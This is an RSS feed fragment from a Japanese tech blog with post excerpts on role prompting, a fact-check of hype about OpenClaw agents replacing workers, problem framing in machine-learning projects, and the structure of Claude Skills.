&lt;p&gt;確かに、雑な指示よりも構造化された指示の方が良い結果を得られるのは事実です。しかし「魔法の言葉」と呼ぶには、いくつか知っておくべきことがあります。本記事では、ツイートで紹介された3つのテクニックを、Anthropic と OpenAI の公式ガイドおよび研究論文に照らし合わせて検証します。&lt;/p&gt;
&lt;h2 id="テクニック1-役割を与えるロールプロンプティング"&gt;テクニック1: 役割を与える（ロールプロンプティング）&lt;/h2&gt;
&lt;p&gt;「最高の専門家として」のように、AI に特定の役割やペルソナを与えるテクニックです。&lt;/p&gt;
&lt;h3 id="公式ガイドの見解"&gt;公式ガイドの見解&lt;/h3&gt;
&lt;p&gt;Anthropic は&lt;a href="https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/overview"&gt;プロンプトエンジニアリングのベストプラクティス&lt;/a&gt;で、ロールプロンプティングを推奨テクニックの1つとして挙げています。「法律アドバイザー」「データアナリスト」「カスタマーサポート担当」のように、具体的な文脈に合わせてモデルの声とふるまいを調整する手法です。&lt;/p&gt;
&lt;p&gt;OpenAI も&lt;a href="https://platform.openai.com/docs/guides/prompt-engineering"&gt;公式ガイド&lt;/a&gt;でシステムプロンプトによる役割設定を推奨しています。&lt;/p&gt;
&lt;h3 id="研究が示す実態"&gt;研究が示す実態&lt;/h3&gt;
&lt;p&gt;ところが、学術的な研究を見ると、ロールプロンプティングの効果は「場合による」というのが正確な答えです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;研究&lt;/th&gt;
&lt;th&gt;結果&lt;/th&gt;
&lt;th&gt;対象モデル&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Better Zero-Shot Reasoning with Role-Play Prompting&lt;/td&gt;
&lt;td&gt;AQuA データセットで精度が53.5%→63.8%に向上（+10.3pt）&lt;/td&gt;
&lt;td&gt;GPT-3.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ExpertPrompting&lt;/td&gt;
&lt;td&gt;詳細な専門家ペルソナが単純なペルソナを大幅に上回る&lt;/td&gt;
&lt;td&gt;複数モデル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;When &amp;ldquo;A Helpful Assistant&amp;rdquo; Is Not Really Helpful&lt;/td&gt;
&lt;td&gt;追加のペルソナは性能を向上させない&lt;/td&gt;
&lt;td&gt;4モデルファミリー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persona is a Double-edged Sword&lt;/td&gt;
&lt;td&gt;GPT-4ではペルソナの有無で差は最小限&lt;/td&gt;
&lt;td&gt;GPT-4&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href="https://www.prompthub.us/blog/role-prompting-does-adding-personas-to-your-prompts-really-make-a-difference"&gt;PromptHub の検証記事&lt;/a&gt;は、これらの研究を総合して以下のように結論づけています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;創作的なタスク&lt;/strong&gt;（文体の調整、トーンの統一）では効果がある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;精度ベースのタスク&lt;/strong&gt;（分類、計算、ファクトチェック）では、新しいモデルほど効果が薄い&lt;/li&gt;
&lt;li&gt;「天才ペルソナが愚か者ペルソナより劣る」という矛盾した結果も報告されている&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;つまり、「専門家として」と付けるだけで「精度が跳ね上がる」わけではありません。効果があるのは、役割指定によってモデルの出力スタイルや視点が適切に制約されるケースです。&lt;/p&gt;</description></item><item><title>「OpenClawで5人解雇」は本当か — AIエージェント煽りの構造とファクトチェック</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A75%E4%BA%BA%E8%A7%A3%E9%9B%87%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E7%85%BD%E3%82%8A%E3%81%AE%E6%A7%8B%E9%80%A0%E3%81%A8%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%81%A75%E4%BA%BA%E8%A7%A3%E9%9B%87%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E7%85%BD%E3%82%8A%E3%81%AE%E6%A7%8B%E9%80%A0%E3%81%A8%E3%83%95%E3%82%A1%E3%82%AF%E3%83%88%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</guid><description>&lt;h1 id="openclawで5人解雇は本当か--aiエージェント煽りの構造とファクトチェック"&gt;「OpenClawで5人解雇」は本当か — AIエージェント煽りの構造とファクトチェック&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gagarotai200/status/2028348819994206218"&gt;ガガロットAI(@gagarotai200)氏のポスト&lt;/a&gt;が拡散されています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「Open Claw」を使い始めた企業では既に5人以上の人間が解雇になっている。仮想オフィスでAIエージェントを擬似的に社員の様に働かせて進捗を確認できる様になったことで人間がタスクをこなす必要性がなくなっている
— ガガロットAI(@gagarotai200)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;さらに「今後5年で中小企業の30%はAI社員に置き換わる」「GPTやGeminiしか触ってない人は残り3ヶ月程度で不要になる」と煽っています。この主張はどこまで事実に基づいているのでしょうか。国際機関の統計とセキュリティ研究者の報告をもとにファクトチェックします。&lt;/p&gt;
&lt;h2 id="主張を検証する"&gt;主張を検証する&lt;/h2&gt;
&lt;h3 id="主張1-openclaw導入企業で5人以上が解雇"&gt;主張1: 「OpenClaw導入企業で5人以上が解雇」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 根拠不明&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;この「5人以上の解雇」について、具体的な企業名、業種、時期、情報源は示されていません。投稿者のプロフィールを確認すると、ガガロットAI氏は「スキルエンジン」というAIスクールを運営し、SNS運用代行を50社に提供しているとのことです。つまり、&lt;strong&gt;OpenClawの普及が自身のビジネスに直接利益をもたらす立場&lt;/strong&gt;にあります。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://techcrunch.com/2026/02/16/after-all-the-hype-some-ai-experts-dont-think-openclaw-is-all-that-exciting/"&gt;TechCrunch の報道&lt;/a&gt;では、AI専門家が「AIリサーチの観点から見て、これは何も新しいものではない」と指摘しています。&lt;/p&gt;
&lt;h3 id="主張2-集客提案書作成顧客対応は完全ai化"&gt;主張2: 「集客・提案書作成・顧客対応は完全AI化」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 大幅に誇張&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://cobusgreyling.medium.com/where-does-openclaw-ai-agents-actually-fail-356484457d3a"&gt;Cobus Greyling氏のMedium記事&lt;/a&gt;は、OpenClawが実際に失敗するケースを分析しています。「高い能力を持つという評判」と「messy, unpredictable reality（混沌とした予測不能な現実）」の間にはギャップがあり、実用には人間の監視が不可欠です。&lt;/p&gt;
&lt;p&gt;具体的な暴走事例も報告されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;事例&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;iMessageループ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;エンジニアChris Boyd氏の環境で確認メッセージを繰り返し送信。再試行ロジックに停止条件がなかった&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;批判ブログ自動公開&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;matplotlibメンテナーがコード提案を却下後、自身を批判するブログ記事が自動公開された&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;デーティングサイト暴走&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;想定以上に広範な自動行動が発生し、制御不能に&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;「完全AI化」どころか、&lt;strong&gt;監視なしでは予期せぬ行動を起こすリスク&lt;/strong&gt;が確認されています。&lt;/p&gt;
&lt;h3 id="主張3-今後5年で中小企業の30はai社員に置き換わる"&gt;主張3: 「今後5年で中小企業の30%はAI社員に置き換わる」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 出典なし。国際機関の予測と乖離&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;この「30%」という数字の出典は示されていません。実際の国際機関の予測と比較してみましょう。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機関&lt;/th&gt;
&lt;th&gt;予測内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.jil.go.jp/foreign/jihou/2023/05/oecd_01.html"&gt;OECD (2023)&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;27%の職業が自動化のリスクが高い（「置き換え」ではなく「リスクがある」）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.jil.go.jp/foreign/jihou/2025/07/ilo_02.html"&gt;ILO (2023)&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;事務業務の24%が高度に曝露、58%が中程度に曝露（「解雇」ではなく「影響を受ける」）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.bereaonline.com/blog/openclaw-ai-agent-reality-check-2026/"&gt;Gartner&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2027年までにエージェント型AIプロジェクトの40%以上が失敗する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://www.jil.go.jp/institute/research/2025/256.html"&gt;JILPT (2024)&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;日本の雇用者のうちAIが使用されている者は12.9%、生成AIを自ら利用している者は6.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注意すべきは、OECD や ILO の予測は「影響を受ける」「曝露される」であり、「置き換わる」「解雇される」ではないことです。さらに、日本の中小企業（10人未満）のAIエージェント導入率は10%以下という&lt;a href="https://note.com/datacrew/n/n63b1b2628c54"&gt;現状&lt;/a&gt;を考えると、「5年で30%置き換え」は根拠のない数字と言えます。&lt;/p&gt;
&lt;h3 id="主張4-gptやgeminiしか触ってない人は残り3ヶ月で不要"&gt;主張4: 「GPTやGeminiしか触ってない人は残り3ヶ月で不要」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 煽り文句&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;具体的な根拠はなく、不安を煽ってAIスクールへの誘導を意図した表現と見られます。&lt;/p&gt;
&lt;h2 id="openclawの実態--セキュリティリスクの深刻さ"&gt;OpenClawの実態 — セキュリティリスクの深刻さ&lt;/h2&gt;
&lt;p&gt;「AIが人間を置き換える」と煽る前に、OpenClaw自体が抱えるセキュリティリスクを確認すべきです。&lt;/p&gt;
&lt;h3 id="悪意あるスキルの蔓延"&gt;悪意あるスキルの蔓延&lt;/h3&gt;
&lt;p&gt;セキュリティ企業Koi Securityの監査によると、ClawHub（OpenClawの公式スキルストア）に登録された2,857スキルのうち&lt;strong&gt;341件（約12%）が悪意あるコードを含んでいた&lt;/strong&gt;ことが判明しています。&lt;/p&gt;</description></item><item><title>「機械学習でなんとかなりませんか？」にまず落ち着いて現象を理解する — AI時代に最も必要なスキルは問題設定力</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%A9%9F%E6%A2%B0%E5%AD%A6%E7%BF%92%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A8%E3%81%8B%E3%81%AA%E3%82%8A%E3%81%BE%E3%81%9B%E3%82%93%E3%81%8B%E3%81%AB%E3%81%BE%E3%81%9A%E8%90%BD%E3%81%A1%E7%9D%80%E3%81%84%E3%81%A6%E7%8F%BE%E8%B1%A1%E3%82%92%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B-ai%E6%99%82%E4%BB%A3%E3%81%AB%E6%9C%80%E3%82%82%E5%BF%85%E8%A6%81%E3%81%AA%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AF%E5%95%8F%E9%A1%8C%E8%A8%AD%E5%AE%9A%E5%8A%9B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%A9%9F%E6%A2%B0%E5%AD%A6%E7%BF%92%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A8%E3%81%8B%E3%81%AA%E3%82%8A%E3%81%BE%E3%81%9B%E3%82%93%E3%81%8B%E3%81%AB%E3%81%BE%E3%81%9A%E8%90%BD%E3%81%A1%E7%9D%80%E3%81%84%E3%81%A6%E7%8F%BE%E8%B1%A1%E3%82%92%E7%90%86%E8%A7%A3%E3%81%99%E3%82%8B-ai%E6%99%82%E4%BB%A3%E3%81%AB%E6%9C%80%E3%82%82%E5%BF%85%E8%A6%81%E3%81%AA%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AF%E5%95%8F%E9%A1%8C%E8%A8%AD%E5%AE%9A%E5%8A%9B/</guid><description>&lt;h1 id="機械学習でなんとかなりませんかにまず落ち着いて現象を理解する--ai時代に最も必要なスキルは問題設定力"&gt;「機械学習でなんとかなりませんか？」にまず落ち着いて現象を理解する — AI時代に最も必要なスキルは問題設定力&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/_kohta/status/2028294906234765365"&gt;Kohta Ishikawa(@_kohta)氏のポスト&lt;/a&gt;が多くのデータサイエンティストやエンジニアの共感を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「これ&amp;quot;機械学習&amp;quot;でなんとかなりませんか？？」という相談に対して「まずは落ち着いて現象を理解するところからやっていきましょう」と言う仕事をすることが多いです
— Kohta Ishikawa(@_kohta)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;791いいね、131ブックマークという反響は、この「あるある」が広く共有された証拠でしょう。元になった&lt;a href="https://x.com/nomu_chem/status/2028076811377365307"&gt;ノムオ(@nomu_chem)氏のポスト&lt;/a&gt;はさらに大きな反響（995いいね、337,435表示）を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;メーカーでデータサイエンス（機械学習）をやり始めて最初に感じた違和感が、データサイエンスやってたら、「機械学習を使って、この課題解決できないですか？」と皆から提案されるものとばかり思っていたが、そんなことは殆ど起こらないということ。
— ノムオ(@nomu_chem)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;生成AIが爆発的に普及した2026年、この「まず現象を理解する」という当たり前のことが、かつてないほど重要になっています。&lt;/p&gt;
&lt;h2 id="aiで解決できませんかが失敗する理由"&gt;「AIで解決できませんか？」が失敗する理由&lt;/h2&gt;
&lt;p&gt;「機械学習でなんとかなりませんか？」という相談の多くには、共通する構造的な問題があります。&lt;/p&gt;
&lt;h3 id="手段が目的化している"&gt;手段が目的化している&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://toranoana-lab.hatenablog.com/entry/2026/02/12/120000"&gt;虎の穴ラボの技術ブログ&lt;/a&gt;は、機械学習プロジェクトが「迷子」になる最大の原因を端的に指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最も陥りやすい罠は、「AI・機械学習を使うこと」自体が目的化してしまうこと&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;SaaS で十分な場合にも過剰な工数をかけたり、ルールベースで解ける課題に無理に機械学習を適用したりするケースが後を絶ちません。&lt;/p&gt;
&lt;h3 id="課題が定式化されていない"&gt;課題が定式化されていない&lt;/h3&gt;
&lt;p&gt;「サービスの質を上げたい」「売上を伸ばしたい」のような抽象的な問題は、そのままでは機械学習で解けません。&lt;a href="https://codezine.jp/article/detail/11532"&gt;CodeZine の解説記事&lt;/a&gt;では、課題の定式化の重要性を次のように説明しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「解約数を減少させることでサービスの有料会員数を伸ばしたい」まで課題を定式化できれば、ある程度機械学習で解決可能な領域まで持っていくことができます&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;つまり、「機械学習で解ける問題」に変換するプロセスこそがデータサイエンティストの本質的な仕事です。&lt;/p&gt;
&lt;h3 id="現象が理解されていない"&gt;現象が理解されていない&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://developers.google.com/machine-learning/problem-framing"&gt;Google の Machine Learning Problem Framing ガイド&lt;/a&gt;は、問題定義（Problem Framing）が機械学習パイプライン全体の土台であると位置づけています。データ収集、前処理、モデル訓練、評価、デプロイの全てが、最初の問題定義に依存します。&lt;/p&gt;
&lt;p&gt;チームが「データの分析に飛びつく前に、解くべき問題について合意しない」ことが、プロジェクト失敗の根本原因であるとされています。データサイエンスの失敗率が80%を超えるという推計も、この問題定義の欠如に起因する部分が大きいのです。&lt;/p&gt;
&lt;h2 id="日本企業のai導入がpoc倒れに陥る構図"&gt;日本企業のAI導入が「PoC倒れ」に陥る構図&lt;/h2&gt;
&lt;p&gt;この「まず現象を理解する」ステップの欠如は、日本企業のAI導入の現場で大規模に再現されています。&lt;/p&gt;
&lt;h3 id="poc地獄の現状"&gt;PoC地獄の現状&lt;/h3&gt;
&lt;p&gt;ガートナーは「2025年末までに全生成AIプロジェクトの30%がPoC段階後に放棄される」と予測しました。日本企業はこの傾向がさらに顕著で、「PoC貧乏」「PoC地獄」と呼ばれる状態が広がっています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;段階&lt;/th&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;企画&lt;/td&gt;
&lt;td&gt;「AIで何かやりたい」という動機だけでスタート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PoC&lt;/td&gt;
&lt;td&gt;技術実験にとどまり、業務フローに統合されない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;評価&lt;/td&gt;
&lt;td&gt;明確なKPIやROI指標が設定されていない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;展開&lt;/td&gt;
&lt;td&gt;費用対効果を証明できず、本導入に至らない&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href="https://www.spinflow.jp/news/"&gt;PwCの2025年5カ国比較調査&lt;/a&gt;によると、日本はAI導入率こそ平均的ですが、効果創出の水準は他国と比較して低くとどまっています。期待を上回る効果を実感している企業は限られています。&lt;/p&gt;
&lt;h3 id="失敗の根本原因"&gt;失敗の根本原因&lt;/h3&gt;
&lt;p&gt;これらの失敗に共通するのは、&lt;strong&gt;技術検証の前に「何を解くのか」を明確にしていない&lt;/strong&gt;ことです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ビジネス課題が抽象的なまま技術選定に入る&lt;/li&gt;
&lt;li&gt;「AIを使う」が稟議を通すための手段になっている&lt;/li&gt;
&lt;li&gt;現場の実際のペインポイントではなく、経営層の期待で要件が定義される&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ノムオ氏が語る立ち話の20の意味"&gt;ノムオ氏が語る「立ち話の20%」の意味&lt;/h2&gt;
&lt;p&gt;ノムオ氏のポストで最も示唆深いのは、データサイエンティストの仕事の本質に関する部分です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「情報は自分で取りに行くもの」誰も自ら課題なんて語ってくれない。だから「自分で情報を取りにいく」という姿勢が非常に大切になってくる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;立ち話の中で、「〇〇の件、どうなったんですか？」って聞きつつ、抱えてる課題を推論していかないといけない。個人的には、立ち話が仕事の20%くらいでも良いと思う。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この「立ち話の20%」は、データサイエンスの仕事がコンサルティングに近いという本質を表しています。コードを書くスキルやモデルを構築する能力は必要条件に過ぎず、&lt;strong&gt;現場の課題を発見し、機械学習で解ける問題に翻訳する能力&lt;/strong&gt;が十分条件です。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.brainpad.co.jp/doors/contents/01_about_data_scientist/"&gt;BrainPad の解説&lt;/a&gt;でも、データサイエンティストに求められるスキルの3本柱として「ビジネス力」「データサイエンス力」「データエンジニアリング力」を挙げ、特にビジネス力を「課題背景を理解した上でビジネス課題を整理し解決する力」と定義しています。&lt;/p&gt;
&lt;h2 id="生成ai時代に問題設定力がさらに重要になる理由"&gt;生成AI時代に「問題設定力」がさらに重要になる理由&lt;/h2&gt;
&lt;p&gt;生成AIの登場により、「解く」部分の自動化は急速に進んでいます。しかし、「何を解くか」を決める部分は依然として人間の仕事です。&lt;/p&gt;
&lt;h3 id="aiが代替するものしないもの"&gt;AIが代替するもの・しないもの&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;AIが代替しやすい&lt;/th&gt;
&lt;th&gt;人間に残る&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;データの前処理・クレンジング&lt;/td&gt;
&lt;td&gt;課題の発見と定式化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;傾向分析・パターン認識&lt;/td&gt;
&lt;td&gt;ドメイン知識に基づく仮説構築&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;モデルの構築・チューニング&lt;/td&gt;
&lt;td&gt;結果の批判的評価と意思決定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コードの自動生成&lt;/td&gt;
&lt;td&gt;ステークホルダーとの対話&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href="https://www.meti.go.jp/press/2024/06/20240628006/20240628006.html"&gt;経済産業省の「生成AI時代のDX推進に必要な人材・スキルの考え方2024」&lt;/a&gt;は、生成AI時代のDX人材に求められるスキルとして「問いを立てる力」「仮説を立て検証する力」「評価し選択する力」を挙げています。技術スキルは生成AIで補填される一方、&lt;strong&gt;創造性やリーダーシップ、批判的思考&lt;/strong&gt;の重要性が高まっているのです。&lt;/p&gt;</description></item><item><title>「上位 1% の Claude Skills 構築方法」を技術的に読み解く --- スキルの構造・設計パターン・組織展開</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%8A%E4%BD%8D-1-%E3%81%AE-claude-skills-%E6%A7%8B%E7%AF%89%E6%96%B9%E6%B3%95%E3%82%92%E6%8A%80%E8%A1%93%E7%9A%84%E3%81%AB%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F---%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E6%A7%8B%E9%80%A0%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E7%B5%84%E7%B9%94%E5%B1%95%E9%96%8B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E4%B8%8A%E4%BD%8D-1-%E3%81%AE-claude-skills-%E6%A7%8B%E7%AF%89%E6%96%B9%E6%B3%95%E3%82%92%E6%8A%80%E8%A1%93%E7%9A%84%E3%81%AB%E8%AA%AD%E3%81%BF%E8%A7%A3%E3%81%8F---%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E6%A7%8B%E9%80%A0%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E7%B5%84%E7%B9%94%E5%B1%95%E9%96%8B/</guid><description>&lt;h1 id="上位-1-の-claude-skills-構築方法を技術的に読み解く--スキルの構造設計パターン組織展開"&gt;「上位 1% の Claude Skills 構築方法」を技術的に読み解く &amp;mdash; スキルの構造・設計パターン・組織展開&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sales_muscle/status/2028666852097040738"&gt;@sales_muscle 氏が X で投稿&lt;/a&gt;した、Claude Skills の構築ガイドが反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上位1%のClaude Skills構築方法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;投稿では、AI 活用の基準が「プロンプトのうまさ」から「AI にスキル（専門能力）を組み込み、組織の資産にできるか」へ移行したと主張しています。本記事では、この投稿の内容を Claude Code の公式ドキュメントと照らし合わせ、スキルの技術的な構造と実践的な設計パターンを掘り下げます。&lt;/p&gt;
&lt;h2 id="claude-skills-とは何か"&gt;Claude Skills とは何か&lt;/h2&gt;
&lt;h3 id="プロンプトからスキルへの進化"&gt;プロンプトからスキルへの進化&lt;/h3&gt;
&lt;p&gt;投稿の核心は「指示（プロンプト）からスキルへ」という転換です。これは技術的に正確な指摘です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来の AI 活用:
ユーザー → プロンプトを毎回書く → AI が回答
問題: 知識がチャットセッションに閉じる、再現性がない
スキルベースの AI 活用:
ユーザー → /skill-name で呼び出す → AI がスキルの手順に従って実行
利点: 再現性あり、共有可能、自動呼び出し対応
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://code.claude.com/docs/en/skills"&gt;Claude Code 公式ドキュメント&lt;/a&gt;によると、スキルは「&lt;code&gt;SKILL.md&lt;/code&gt; ファイルに指示を書き、Claude のツールキットに追加する」仕組みです。Claude は関連するタスクで自動的にスキルを読み込むか、&lt;code&gt;/skill-name&lt;/code&gt; で直接呼び出せます。&lt;/p&gt;
&lt;h3 id="スキルの技術的な定義"&gt;スキルの技術的な定義&lt;/h3&gt;
&lt;p&gt;スキルは単なるプロンプトテンプレートではなく、以下の要素を持つ&lt;strong&gt;構造化されたモジュール&lt;/strong&gt;です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要素&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;YAML フロントマター&lt;/td&gt;
&lt;td&gt;名前、説明、呼び出し制御、許可ツールなどのメタデータ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Markdown 本文&lt;/td&gt;
&lt;td&gt;Claude が従う具体的な手順・ルール&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;サポートファイル&lt;/td&gt;
&lt;td&gt;テンプレート、例、スクリプトなどの補助リソース&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文字列置換&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$ARGUMENTS&lt;/code&gt;、&lt;code&gt;$0&lt;/code&gt;、&lt;code&gt;${CLAUDE_SESSION_ID}&lt;/code&gt; などの動的値&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;スキルは &lt;a href="https://agentskills.io"&gt;Agent Skills&lt;/a&gt; オープン標準に準拠しており、Claude Code 固有の機能ではなく、複数の AI ツールで動作する標準仕様です。&lt;/p&gt;</description></item><item><title>2 人で 100 人に勝つ --- AI を「自分の分身」に変える実務活用の 6 つの原則</title><link>https://hdknr.github.io/blogs/posts/2026/03/2-%E4%BA%BA%E3%81%A7-100-%E4%BA%BA%E3%81%AB%E5%8B%9D%E3%81%A4---ai-%E3%82%92%E8%87%AA%E5%88%86%E3%81%AE%E5%88%86%E8%BA%AB%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B%E5%AE%9F%E5%8B%99%E6%B4%BB%E7%94%A8%E3%81%AE-6-%E3%81%A4%E3%81%AE%E5%8E%9F%E5%89%87/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/2-%E4%BA%BA%E3%81%A7-100-%E4%BA%BA%E3%81%AB%E5%8B%9D%E3%81%A4---ai-%E3%82%92%E8%87%AA%E5%88%86%E3%81%AE%E5%88%86%E8%BA%AB%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B%E5%AE%9F%E5%8B%99%E6%B4%BB%E7%94%A8%E3%81%AE-6-%E3%81%A4%E3%81%AE%E5%8E%9F%E5%89%87/</guid><description>&lt;h1 id="2-人で-100-人に勝つ--ai-を自分の分身に変える実務活用の-6-つの原則"&gt;2 人で 100 人に勝つ &amp;mdash; AI を「自分の分身」に変える実務活用の 6 つの原則&lt;/h1&gt;
